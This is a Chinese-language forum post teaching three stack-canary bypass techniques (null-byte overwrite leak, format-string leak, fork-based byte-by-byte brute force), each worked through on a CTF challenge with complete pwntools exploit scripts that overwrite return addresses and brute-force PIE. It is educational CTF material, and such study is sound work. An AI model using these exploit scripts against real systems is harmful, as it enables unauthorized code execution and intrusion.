常见的绕过canary的方法
PaT1Ent 发表于 山东 二进制安全 1318浏览 · 2024-01-23 03:11

常见的绕过canary的方法

背景知识

在函数开始时就随机产生一个值,将这个值canary放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆盖掉canary的值;当程序结束时,程序会检查canary这个值和之前的是否一致,如果不一致,则不会往下运行,从而避免了缓冲区溢出攻击。

绕过方式

1.覆盖00字符
2.格式化字符串泄露
3.爆破canary

DASCTF X CBCTF 2023 canary ( 覆盖00字符 )

思路


这里直接覆盖00字节然后泄露canary

s('a'*0x19)
r(0x18+6)
canary=u64(r(8))-0x61
leak('canary ',canary)


覆盖00,然后泄露出来减去0x61即可
然后后面利用strcpy去溢出覆盖返回地址

backdoor=0x4012BB
ru('you like to leave(MAX 4): ')
sl('2')
sl('a'*(0xa0-0x8)+p64(canary+0xaa)+'a'*8+p64(0x4012c3))
sl('a'*0x78)

这里是利用的strcpy的一个特性
strcpy遇到'\x00'截断,不过会在最后加'\x00'
先填上canary+0xaa,然后直接利用strcpy最后的置0就可以

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
#p=remote('node4.buuoj.cn',26967)
p=process('./pwn')
elf = ELF('./pwn')

def duan():
    gdb.attach(p)
    pause()

bss=elf.bss()+0x200

ru('Please input your name: ')
#duan()
#duan()
s('a'*0x19)
r(0x18+6)
canary=u64(r(8))-0x61
leak('canary ',canary)

ret=u64(r(6).ljust(8,'\x00'))#-0xb0
leak('ret ',ret)

backdoor=0x4012BB
ru('you like to leave(MAX 4): ')
sl('2')
sl('a'*(0xa0-0x8)+p64(canary+0xaa)+'a'*8+p64(0x4012c3))
sl('a'*0x78)

itr()

pwn1 ( 格式化字符串泄露 )

思路


gdb找一下偏移


先输入一下


找到偏移了,偏移为13

sl('%13$p')
canary=int(r(18),16)
leak('canary ',canary)

这里格式化字符串接收不需要u64解包


覆盖canary然后再覆盖返回地址就行

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
#p=remote('node4.buuoj.cn',26967)
p=process('./pwn')
elf = ELF('./pwn')
def duan():
    gdb.attach(p)
    pause()

sl('%13$p')
canary=int(r(18),16)
leak('canary ',canary)
pl='a'*0x28+p64(canary)+'a'*0x8+p64(0x401245)
sl(pl)
itr()

CISCN 2023 funcanary ( 爆破canary )

原理

每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的
因为fork函数会直接拷贝父进程的内存,所以fork函数创建的子进程中的canary也是相同的。
最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃。
爆破成功则程序进行下面的逻辑。
我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。

思路


这里有fork函数


里面就是个栈溢出


虽然有后们,但是保护全开,所以泄露了canary,还得继续爆破pie

爆破canary脚本

canary = '\x00'
for k in range(7):
    for i in range(256):
        print("正在爆破Canary的第" + str(k+1) + "位")
        print("当前的字符为" + chr(i))
        payload=b'a'*0x68 + canary + chr(i)
        print("当前的字符为" + payload)
        p.send(b'a'*0x68 + canary +chr(i))
        data = p.recvuntil("welcome\n")
        if 'stack' in data:
            continue
        else:
            print(str(i + 1) + 'place')
            canary += p8(i)
            print(canary)
            break

爆破pie脚本

backdoor = 0x0231
while True:
    for i in range(16):
        p.send(b'a'*0x68+canary*2+p16(backdoor))
# offset + canary + rbp + pie_backdoor
        a = p.recvuntil(b'welcome\n', timeout = 0.5)
# timeout最好还是加上
        if b'welcome\n' in a:
            backdoor += 0x1000
        if b'flag' in a:
# 如果是flag开头就改为flag
            print(a)
            p.interactive()

然后在本地写一个flag:flag{flag_is_not_here}


这里就是成功把canary爆破出来了


然后爆破pie爆破出了flag

exp

#coding=utf8

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
#p=remote('node4.buuoj.cn',26967)
p=process('./pwn')
elf = ELF('./pwn')

p.recvuntil('welcome\n')
canary = '\x00'
for k in range(7):
    for i in range(256):
        print("正在爆破Canary的第" + str(k+1) + "位")
        print("当前的字符为" + chr(i))
        payload=b'a'*0x68 + canary + chr(i)
        print("当前的字符为" + payload)
        p.send(b'a'*0x68 + canary +chr(i))
        data = p.recvuntil("welcome\n")
        if 'stack' in data:
            continue
        else:
            print(str(i + 1) + 'place')
            canary += p8(i)
            print(canary)
            break

backdoor = 0x0231
while True:
    for i in range(16):
        p.send(b'a'*0x68+canary*2+p16(backdoor))
# offset + canary + rbp + pie_backdoor
        a = p.recvuntil(b'welcome\n', timeout = 0.5)
# timeout最好还是加上
        if b'welcome\n' in a:
            backdoor += 0x1000
        if b'flag' in a:
# 如果是flag开头就改为flag
            print(a)
            p.interactive()
附件:
0 条评论
某人
表情
可输入 255